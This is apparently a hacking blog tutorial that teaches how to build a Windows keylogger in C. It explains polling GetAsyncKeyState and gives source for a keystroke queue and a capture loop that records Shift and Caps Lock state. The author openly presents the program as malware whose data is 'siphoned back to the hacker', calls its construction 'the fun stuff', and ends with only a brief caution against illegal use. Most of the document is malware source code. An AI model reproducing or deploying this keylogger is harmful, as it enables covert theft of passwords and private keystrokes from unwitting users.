Slack Group
Before we get started I have started a slack group dedicated to hacking. We welcome everyone from beginner to advanced to join. I will be on everyday answer questions, doing CTFs, and talking about cool hacks. If you enjoy hacking and are looking for like minded people join below:
Introduction
The vast majority of malware makes use of key loggers. A key logger is a device that records every keystroke you type. This data is then siphoned back to the hacker for review. A keylogger can be built in almost any language such as C,C++,C#,Python, Powershell, etc. All you really need to know is how to work with the windows API.
Windows API
The easiest way to crate a key logger is to constantly check if a key is being pressed. The problem with this method is that it can cause high amounts of CPU to be utilized. There are other methods of creating key loggers such as function hooking but I am going to start with the basics first.
You will want to get familiar with the GetAsyncKeyState function found here:
Basically all this function does is inform your if a specific key is being pressed or not. You will also want to get familiar with virtual key codes witch are used to map a number to a key. For example ox08 is used to represent the backspace as shown below:
All you have to do is pass a virtual key code to the GetAsyncKeyState function and it tell you if that key is currently being pressed or not. Not really that sophisticated at all right? If you got a good handle on this you should be able to recreate this in almost any language.
C Key logger
Like I said keyloggers can be built in any language and I am going to be implementing this in C. Chances are if you can code this up in C you can code this up any another language as long as you know the syntax.
When I create code I try to make it as modular as possible to I can reuse my code in many projects.
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "keylogger.h"void main()
{
char key[20];// create new queue for keys pressed
struct QueueKeylog* q = createQueueKeylog();//start key logger thread
HANDLE thread = startKeylogger(q);
while(1)
{
while(getKeylog(q,key))
{
printf("%s",key);
}
Sleep(6000);
}
}
Here I have my main function which imports everything from my key logging header. I then create a queue to hold all of the captured keystrokes. Next I create a key logging thread which logs everything to the queue. After that I just have to grab the key strokes from the queue. This makes it extremely easy to add this code in other projects, just start the key logger and grab stuff from the queue. Three function calls and you got a key logger!
You first have to create a queue. If your familiar with data structures you should know what that is. If not you can think of a queue as a line at the store. The first person in line gets to go up first then the next person goes and so on, there is no cutting. More information can be found here:
Before we crate our queue function we have to create the structures that will be placed in them. These structures will hold the captured keystrokes and our queue.
struct QNodeKeylog
{
char data[20];
struct QNodeKeylog* next;
};struct QueueKeylog
{
struct QNodeKeylog *front, *rear;
};
QNodeKeylog structure holds the captured keystroke and it contains a pointer to the next captured key stroke. The QueueKeylog structure is our queue, it holds the first and last node.
To create this queue you can use some data structures skills as shown below:
struct QueueKeylog* createQueueKeylog()
{
struct QueueKeylog* q = (struct QueueKeylog*)malloc(sizeof(struct QueueKeylog));
q->front = q->rear = NULL;
return q;
}
The createQueueKeylog function creates a QueueKeylog structure(queue) and sets the front and rear to null because the queue is empty right now. A pointer to this queue is then returned to the user.
The queue or line should hold a series of objects(key strokes). To accomplish this there is a functions that creates a node which holds data(key stroke) as shown below:
struct QNodeKeylog* newNodeKeylog(char* data)
{
struct QNodeKeylog* tmp = (struct QNodeKeylog*)malloc(sizeof(struct QNodeKeylog));
strcpy(tmp->data,data);
tmp->next = NULL;
return tmp;
}
So here the newNodeKeylog function is creating a node that holds the captured keystroke data. This data is stored in the QNodeKeylog structure, a pointer to the object is returned which can be used to add it to the queue. When ever a keystroke is pressed we add it to the queue as shown below:
int EnqueueKeylog(struct QueueKeylog* q, char* data)
{
//new node
struct QNodeKeylog* tmp = newNodeKeylog(data);//empty queue
if(q->rear == NULL)
{
q->front = q->rear = tmp;
return 0;
}// add new node to end of queue
q->rear->next = tmp;
//set new node to rear
q->rear = tmp;
return 0;
}
The EnqueueKeylog function takes a pointer to a queue and the data to be added it then uses the newNodeKeylog function to create a node that is inserted into the queue at the back.
When we want to return the capture keystrokes we have pop data off the top of the queue and return it to the user as shown below:
struct QNodeKeylog* DequeueKeylog(struct QueueKeylog* q)
{
if(q->front == NULL)
return NULL;
struct QNodeKeylog* tmp = q->front;
q->front = q->front->next;if(q->front == NULL)
q->rear = NULL;
return tmp;
}
So far we have been doing basic computer science stuff. Well thats what creating malware is, its applying your knowledge to create something malicious.
Now lets get to the fun stuff, actually creating the key logging portion. To do this we will first map the virtual key codes to some value. Basically I just created an array of size 255 and put them there.
After that we will determine if cap lock or the shift key is being pressed. This is easy just call the same GetAsyncKeyState function and log if those keys are down or not:
capsOn = 0
shiftPressed = 0capsOn = GetKeyState(VK_CAPITAL);
shiftPressed = GetKeyState(VK_SHIFT);
Next loop each character and if its being pressed log it to the queue.
for(i=1;i<255;i++)
{
//get key press
if(GetAsyncKeyState(i) == -32767) // 1 = press , -32767 = held down
{
// check if CAP Lock is on
capsOn = GetKeyState(VK_CAPITAL); //check if Shift is pressed
shiftOn = 0;
shiftPressed = GetKeyState(VK_SHIFT);
if(shiftPressed == -127 || shiftPressed == -128)
{
shiftOn = 1;
}// capital letters
if((capsOn && !shiftOn && i <= 90 && i >=65) || (shiftOn && !capsOn && i <= 90 && i >=65))
{
i -= 65; //adjust i to new array
EnqueueKeylog(q,virtualKeyCodesUpercase[i]);
}
//Shift Number EX:!@#$%^&*()
else if(shiftOn && i <= 57 && i >=48)
{
i -= 48; //adjust i to new array
EnqueueKeylog(q,virtualKeyCodesShiftNum[i]);
}else if(shiftOn && i <= 192 && i >= 186)
{
i -= 186; //adjust i to new array
EnqueueKeylog(q,virtualKeyCodesShiftSpecialOne[i]);
}else if(shiftOn && i <= 222 && i >=219)
{
i -= 219; //adjust i to new array
EnqueueKeylog(q,virtualKeyCodesShiftSpecialTwo[i]);
}//regular characters
else
{
EnqueueKeylog(q,virtualKeyCodes[i]);
}
}
Okay maybe if your new that could of been super confusing, I know it was for me. If you want some more detail you can check out a youtube video I made the previous year explaining the same topic.
Full source code can be found below:
Conclusion
Malware seems to be this mysterious black box to some people but in reality its just like normal programming. You can create windows based malware in almost any language as long as you have a good grasp on that language and the windows API. Remember dont use your knowledge to do illegal things. With great power comes great responsibility.